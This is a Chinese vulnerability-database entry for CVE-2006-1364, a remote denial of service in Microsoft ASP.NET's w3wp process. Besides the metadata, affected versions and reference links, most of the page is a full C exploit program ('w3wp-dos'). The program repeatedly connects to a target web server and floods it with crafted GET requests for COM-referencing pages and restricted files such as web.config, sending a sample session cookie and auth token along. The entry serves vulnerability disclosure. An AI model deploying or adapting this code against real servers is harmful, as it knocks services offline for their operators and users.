Microsoft ASP.NET COM Components W3WP远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109941 漏洞类型 设计错误
发布时间 2006-03-22 更新时间 2007-06-27
CVE编号 CVE-2006-1364 CNNVD-ID CNNVD-200603-384
漏洞平台 Windows CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/1601
https://www.securityfocus.com/bid/17188
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200603-384
|漏洞详情
Microsoftw3wp(akaw3wp.exe)未作妥善处理,这是由于当引用在ASP.NET中的COM组件时,未使用AspCompat指令的缘故,从而远程攻击者通过以下途径制造一个拒绝服务(资源占用或崩溃):对引用COM组件或位于ASP.NET应用程序路径下受限制的每一个文件重复发送请求。
|漏洞EXP
// w3wp-dos.c
//

#include "stdafx.h"

#pragma comment (lib,"ws2_32")

#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>

char * pszUnauthLinks(DWORD);

#define portno	80

int main(int argc, CHAR* argv[])
{
	char	szWorkBuff[100];
	DWORD	dwCount = 0, dwCounter;
	int	iCnt = 0, iCount = 0;

	SOCKET	conn_socket; 
	WSADATA wsaData;
	struct	sockaddr_in sin;
	struct	hostent *phostent;
	char	*pszTargetHost = new char[MAX_PATH]; 
	UINT	uAddr; 

	if (argc<2)
	{
		printf("============================================\n");
		printf("\t\t w3wp-dos by Debasis Mohanty\n");
		printf("\t\t www.hackingspirits.com\n");
		printf("============================================\n");

		printf("\nUsage: w3wpdos <HostIP / HostName> \n\n");

		exit(0);
	}

	int iRetval; 
	if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
		printf( "WSAStartup failed with error %d\n",iRetval);
		WSACleanup(); exit(1); }

	// Make a check on the length of the parameter provided
	if (strlen(argv[1]) > MAX_PATH)	{ 
		printf( "Too long parameter ....\n"); exit(1); }
	else
		strcpy(pszTargetHost, argv[1]);

	// Resolve the hostname into IP address or vice-versa
	if(isalpha(pszTargetHost[0])) 
		phostent = gethostbyname(pszTargetHost);
	else  { 
		uAddr = inet_addr(pszTargetHost);
		phostent = gethostbyaddr((char *)&uAddr,4,AF_INET);

		if(phostent != NULL)
			wsprintf( pszTargetHost, "[+] %s", phostent->h_name);
		else	{
			printf( "Failed to resolve IP address, please provide host name.\n" );
			WSACleanup();
			exit(1);	
		}
	}

	if (phostent == NULL )	{
		printf("Cannot resolve address [%s]: Error %d\n", pszTargetHost, 
			WSAGetLastError());

		WSACleanup();
		printf( "Target host seems to be down or the program failed to resolve host name.");
		printf( "Press enter to exit" );

		getchar();
		exit(1); }

	// Initialise Socket info
	memset(&sin,0,sizeof(sin));
	memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
	sin.sin_family = phostent->h_addrtype;
	sin.sin_port = htons(portno);

	conn_socket = socket(AF_INET, SOCK_STREAM, 0); 
	if (conn_socket < 0 )	{
		printf("Error Opening socket: Error %d\n", WSAGetLastError());
		WSACleanup();

		return -1;}

	printf("============================================\n");
	printf("\t\t w3wp-dos by Debasis Mohanty\n");
	printf("\t\t www.hackingspirits.com\n");
	printf("============================================\n");

	printf("[+] Host name: %s\n", pszTargetHost);
	wsprintf( szWorkBuff, "%u.%u.%u.%u", 
		sin.sin_addr.S_un.S_un_b.s_b1,
		sin.sin_addr.S_un.S_un_b.s_b2,
		sin.sin_addr.S_un.S_un_b.s_b3,
		sin.sin_addr.S_un.S_un_b.s_b4 );
	printf("[+] Host IP: %s\n", szWorkBuff);

	closesocket(conn_socket);

	printf("[+] Ready to generate requests\n");

	/* The count should be modified depending upon the 
	number of links in the szBuff array	*/
	while(dwCount++ < 10) 
	{						

		conn_socket = socket(AF_INET, SOCK_STREAM, 0);
		memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent->h_length);
		sin.sin_family = AF_INET;
		sin.sin_port = htons(portno);

		if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
			perror("connect");

		printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
		for(dwCounter=1;dwCounter < 9;dwCounter++) 
		{
			send(conn_socket,pszUnauthLinks(dwCount), strlen(pszUnauthLinks(dwCount)),0);

			char *szBuffer = new char[256];
			recv(conn_socket, szBuffer, 256, 0);
			printf(".");
			// 			if( szBuffer != NULL) 
			//				printf("%s", szBuffer);
			delete szBuffer;
			Sleep(100);
		}
		printf("\n");
		closesocket(conn_socket);
	}

	return 1;
}


char * pszUnauthLinks( DWORD dwIndex )
{
	char	*szBuff[10];
	TCHAR	*szGetReqH = new char[1024]; 

	/*	Modify the list of links given below to your asp.net links. The list should carry links which refer to any COM components and as well as other restricted links under the asp.net app path. 	*/

	szBuff[1] = "GET /aspnet-app\\web.config";
	szBuff[2] = "GET /aspnet-app\\../aspnetlogs\\log1.logs";
	szBuff[3] = "GET /aspnet-app\\default-userscreen.aspx";
	szBuff[4] = "GET /aspnet-app\\users/config.aspx";
	szBuff[5] = "GET /aspnet-app\\links/anycomref.aspx";	//
	szBuff[6] = "GET /aspnet-app\\com-ref-link1.aspx";		// Links of pages referring 
	szBuff[7] = "GET /aspnet-app\\com-ref-link2.aspx";		// COM components.
	szBuff[8] = "GET /aspnet-app\\com-ref-link3.aspx";		//
	szBuff[9] = "GET /aspnet-app\\com-ref-link4.aspx";		//

	/* Prepare the GET request for the desired link */
	strcpy(szGetReqH, szBuff[dwIndex]);
	strcat(szGetReqH, " HTTP/1.1\r\n");
	strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n");
	strcat(szGetReqH, "Accept-Language: en-us\r\n");
	strcat(szGetReqH, "Accept-Encoding: gzip, deflate\r\n");
	strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n");
	strcat(szGetReqH, "Host: \r\n" );
	strcat(szGetReqH, "Connection: Keep-Alive\r\n" );

	/* Insert a valid Session Cookie and ASPVIEWSTATE to get more effective result */
	strcat(szGetReqH, "Cookie: ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;\r\n" );
	strcat(szGetReqH, ".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F744632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76AC713AF05B971D\r\n\r\n" );

	// return szBuff[dwIndex];
	return szGetReqH;
}

// milw0rm.com [2006-03-22]
|受影响的产品
Microsoft ASP.NET 1.1 SP1 Microsoft ASP.NET 1.1 Microsoft ASP.NET 1.0 SP2 Microsoft ASP.NET 1.0 SP1 Microsoft ASP.NET 1.0 Microsoft ASP.NET 0
|参考资料

来源:BID
名称:17188
链接:http://www.securityfocus.com/bid/17188
来源:MISC
链接:http://www.securiteam.com/windowsntfocus/5KP0O0KI0Y.html
来源:MILW0RM
名称:1601
链接:http://www.milw0rm.com/exploits/1601
来源:MISC
链接:http://hackingspirits.com/vuln-rnd/w3wp-remote-dos.zip
来源:XF
名称:ms-aspnet-w3wp-dos(25392)
链接:http://xforce.iss.net/xforce/xfdb/25392
来源:BUGTRAQ
名称:20060322w3wpremoteDoS
链接:http://www.securityfocus.com/archive/1/archive/1/428622/100/0/threaded
来源:SECTRACK
名称:1015825
链接:http://securitytracker.com/id?1015825
来源:FULLDISC
名称:20060322w3wpremoteDoS
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2006-March/044292.html
来源:FULLDISC
名称:20060322w3wpremoteDoSduetoimproperreferenceofSTACOMcomponentsinASP.NET
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2006-March/044291.html